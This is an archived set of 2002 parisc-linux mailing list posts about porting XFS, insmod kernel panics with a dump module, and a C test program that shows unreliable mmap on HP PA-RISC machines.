List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16559

Hi Stephan,

As you do earlier, I build a xfs-kernel diff versus 2.4.19 vanilla kernel,
apply it against 2.4.19-pa22 (with very small problem) and obtain a bootable
(and operational) kernel.

Now I rebuild debian package of xfsprogs-2.3.5 (cvs form) and obtain tools
binaries (without warning or error) but even mkfs -t xfs (mkfs.xfs) failed
with this concise message: "mkfs.xfs: cannot reserve space [28 - No space
left on device]".
(I try to xfs_check which failed also with a lot of error messages).

As you already do portage effort may be have you some idea of some starting
point of investigation?

Thanks in advance for all,
    Joel




From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] insmod modules -> kernel panic:
Date: Wed, 23 Oct 2002 13:12:04 +0200
Organization: H.P
Lines: 77
Approved: news@gmane.org
Message-ID: <3DB68404.549D048A@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------B845CAA02AD6440228AA76B4"
X-Trace: ger.gmane.org 1416621852 15950 80.91.229.3 (22 Nov 2014 02:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:12 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 05:12:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12FBC482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 05:12:11 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 16421D54
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 13:12:05 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA17215 for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 13:10:20 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16560

This is a multi-part message in MIME format.
--------------B845CAA02AD6440228AA76B4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I'm preparing a patche for the dump driver.
So I'm testing it. But when using insmod dump_rle
(it is a module to use rle compression while dumping)
It panics immediatly, it don't even start the initialisation.

By using insmod -m I have:

Using /lib/modules/2.4.19-pa22/kernel/drivers/dump/dump_rle.o
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
r_info 0x29 not handled
Sections:       Size      Address   Align
.this           000000b8  000d3000  2**3
.text           00000000  000d30b8  2**0
.text.dump_compress_rle 000002f8  000d30b8  2**3
.text.dump_compress_rle_init 00000038  000d33b0  2**3
.text.dump_compress_rle_cleanup 00000028  000d33e8  2**3
.stub           00000020  000d3410  2**4
.PARISC.unwind  00000030  000d3430  2**2
.kstrtab        000000b4  000d3460  2**0
.kmodtab        00000018  000d3518  2**3
__ksymtab       00000040  000d3530  2**3
__archdata      00000028  000d3570  2**4
.got            00000018  000d3598  2**3
.data           00000020  000d35b0  2**3
.opd            00000060  000d35d0  2**4
.bss            00000000  000d3630  2**0

Symbols:
000d3000 d __this_module
000d3000 D __insmod_dump_rle_O/lib/modules/2.4.19-pa22/kernel/drivers/dump/dump_rle.o_M3DB56146_V132115
000d30b8 t .text.dump_compress_rle
000d30b8 t dump_compress_rle
000d30b8 t .text
000d33b0 t .text.dump_compress_rle_init
000d33b0 T dump_compress_rle_init
000d33b0 t init_module
000d33e8 t cleanup_module
000d33e8 T dump_compress_rle_cleanup
000d33e8 t .text.dump_compress_rle_cleanup
000d3430 r .PARISC.unwind -> PANIC !!!!

Any idea, any suggestion to have more debug ?
Where this .PARISC.unwind comes from ??? It is not in my code.

	thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------B845CAA02AD6440228AA76B4
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------B845CAA02AD6440228AA76B4--



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] insmod modules -> kernel panic:
Date: Wed, 23 Oct 2002 16:20:11 +0200
Organization: H.P
Lines: 63
Approved: news@gmane.org
Message-ID: <3DB6B01B.61D240D@admin.france.hp.com>
References: <3DB68404.549D048A@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------0A91584CAB98F2932BF77BEE"
X-Trace: ger.gmane.org 1416621852 15951 80.91.229.3 (22 Nov 2014 02:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:12 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 08:20:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC1B4482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 08:20:16 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 97D7F1140
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 16:20:12 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA03480 for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 16:18:27 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16561

This is a multi-part message in MIME format.
--------------0A91584CAB98F2932BF77BEE
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	hi
It seems to be a weird problem. I've recompile everything
(make clean && make dep && make vmlinux && make modules && make modules_install)
And:
-A-class: 64bits compilation, it panic, but not at the same place than before:
# insmod -m dump_rle
.
.
.
Symbols:
000d3000 D __insmod_dump_rle_O/lib/modules/2.4.19-pa22/kernel/drivers/dump/dump_rle.o_M3DB6A52E_V132115
000d3000 d __this_module
000d30b8 t .text.dump_compress_rle
000d30b8 t dump_compress_rle
000d30b8 t .text
000d33b0 t .text.dump_compress_rle_init
000d33b0 T dump_compress_rle_init
000d33b0 t init_module
000d3400 t cleanup_module
000d3400 T dump_compress_rle_cleanup
000d3400 t .text.dump_compress_rle_cleanup
000d3460 r .PARISC.unwind
000d3490 r .rodata
000d3490 r .LC5
000d3490 R __insmod_dump_rle_S.rodata_L20
000d3630 D __insmod_dump_rle_S.data_L32
000d3630 d dump_rle_compression
000d3630 d .data
000d36b0 d .bss -> it panic here

-712: works fine !!!!!

I'll try to install the latest 64 bit compiler....


-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------0A91584CAB98F2932BF77BEE
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------0A91584CAB98F2932BF77BEE--



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Wed, 23 Oct 2002 11:01:54 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200210231501.g9NF1sYK022972@hiauly1.hia.nrc.ca>
References: <3DB57761000002B9@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621852 15955 80.91.229.3 (22 Nov 2014 02:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:12 +0000 (UTC)
Cc: mszick@goquest.com, grundler@dsl2.external.hp.com,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 09:02:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3949B482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 09:02:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9NF1t00022973;
	Wed, 23 Oct 2002 11:01:56 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9NF1sYK022972;
	Wed, 23 Oct 2002 11:01:54 -0400 (EDT)
In-Reply-To: <3DB57761000002B9@ocpmta8.be.tiscali.com> from "jsoe0708@tiscali.be" at Oct 23, 2002 07:54:29 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16562

> >Ah, something I have been working on ...
> >
> Is it in already in gcc-3.2 or gcc-3.3 (snapshot which I would I have to
> toolchain?)?

Soon to be in 3.3.  I found a couple of more things yesterday in testing.
It needs a lot of testing (hppa1, hppa2, hppa64, hpux, linux, pic, short
and long calls).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] insmod modules -> kernel panic:
Date: Wed, 23 Oct 2002 08:06:20 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021023150619.GE22052@tausq.org>
References: <3DB68404.549D048A@admin.france.hp.com> <3DB6B01B.61D240D@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621853 15960 80.91.229.3 (22 Nov 2014 02:04:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:13 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 09:03:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4839F482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 09:03:29 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 08FC0CD83C; Wed, 23 Oct 2002 08:06:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DB6B01B.61D240D@admin.france.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16563

In reference to a message from Bruno Vidal, dated Oct 23:
> 	hi
> It seems to be a weird problem. I've recompile everything
> (make clean && make dep && make vmlinux && make modules && make modules_install)
> And:
> -A-class: 64bits compilation, it panic, but not at the same place than before:

Hi Bruno,

We seem to be having some general problems with insmod causing random
crashes. I would suggest that you stick with building things into the
kernel instead of modules for a little while until we figure out the
insmod problem.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] insmod modules -> kernel panic:
Date: Wed, 23 Oct 2002 17:13:50 +0200
Organization: H.P
Lines: 36
Approved: news@gmane.org
Message-ID: <3DB6BCAE.3AB7AF13@admin.france.hp.com>
References: <3DB68404.549D048A@admin.france.hp.com> <3DB6B01B.61D240D@admin.france.hp.com> <20021023150619.GE22052@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------79B259717D9A9A946F8B68D5"
X-Trace: ger.gmane.org 1416621853 15964 80.91.229.3 (22 Nov 2014 02:04:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:13 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 09:13:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BA05482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 09:13:56 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 18A53BE4
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 17:13:51 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id RAA08199 for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 17:12:06 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16564

This is a multi-part message in MIME format.
--------------79B259717D9A9A946F8B68D5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thanks.
I've already noted that when building in the kernel
it was running fine. About this insmod panic it is
a bit strange, because, on the A class, it is completly
crashed after that. I have to power off/on.

	bye.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------79B259717D9A9A946F8B68D5
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------79B259717D9A9A946F8B68D5--



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unreliable mmap
Date: Thu, 24 Oct 2002 01:01:42 +0200 (CEST)
Lines: 67
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0210240048490.1407-100000@gfrw1044.bocc.de>
References: <Pine.LNX.4.44.0208152341001.18472-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621854 15969 80.91.229.3 (22 Nov 2014 02:04:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:14 +0000 (UTC)
To: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 17:07:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D53F4834
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 17:07:22 -0600 (MDT)
Original-Received: from gfrw1044.bocc.de (pD9E01D57.dip.t-dialin.net [217.224.29.87])
	(authenticated)
	by mail.scram.de (8.11.6+3.4W/8.11.0) with ESMTP id g9NN7FU18817
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 01:07:16 +0200 (CEST)
X-X-Sender: jochen@gfrw1044.bocc.de
In-Reply-To: <Pine.LNX.4.44.0208152341001.18472-100000@gfrw1044.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16565

Hi,

> i recognized that mmap operations seem unreliable on HP720 platform. The
> following test program (taken from cyrus imap configure) demonstrates the
> problem:
> [...]
>
> This only seems to happen on 720 (i couldn't replicate the bug on a 715
> with the same kernel booted up).

While debugging cyrus21-imapd, i experienced pretty fishy behaviour
of the skiplist database backend. It turned out that the 715 is affected
by the mmap problem, as well.

Here is a new test program which performs random writes to a file and
verifies the mmapped memory afterwards which demonstrates the problem:

Cheers,
--jochen

-------------------------------------8<-------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
  char *base;
  int fd;
  char buf[2000];
  int i, j;
  char c;

  for (i=0; i<2000; i++)
    {
      c = (char) ((float) rand() / (float) (RAND_MAX) * 26) + 'a';
      buf[i] = c;
    }

  fd = open("mmap.test", O_CREAT|O_TRUNC|O_RDWR, 0664);
  write(fd, buf, 2000);

  base = (char *)mmap((caddr_t)0, 2000, PROT_READ, MAP_SHARED
#ifdef MAP_FILE
| MAP_FILE
#endif
#ifdef MAP_VARIABLE
| MAP_VARIABLE
#endif
  , fd, 0L);

  for (i=0; i<2000; i++)
    {
      j = (int) ((float) rand() / (float) (RAND_MAX) * 2000);
      c = (char) ((float) rand() / (float) (RAND_MAX) * 26) + 'a';
      lseek(fd, j, SEEK_SET);
      write(fd, &c, 1);
      if (*(base+j) != c)
        printf("Error: mmap inconsistent at %d\n", j);
    }
  close(fd);
}



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unreliable mmap
Date: Wed, 23 Oct 2002 16:15:36 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20021023231536.GC5602@tausq.org>
References: <Pine.LNX.4.44.0208152341001.18472-100000@gfrw1044.bocc.de> <Pine.LNX.4.44.0210240048490.1407-100000@gfrw1044.bocc.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621854 15972 80.91.229.3 (22 Nov 2014 02:04:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:14 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 17:14:25 2002
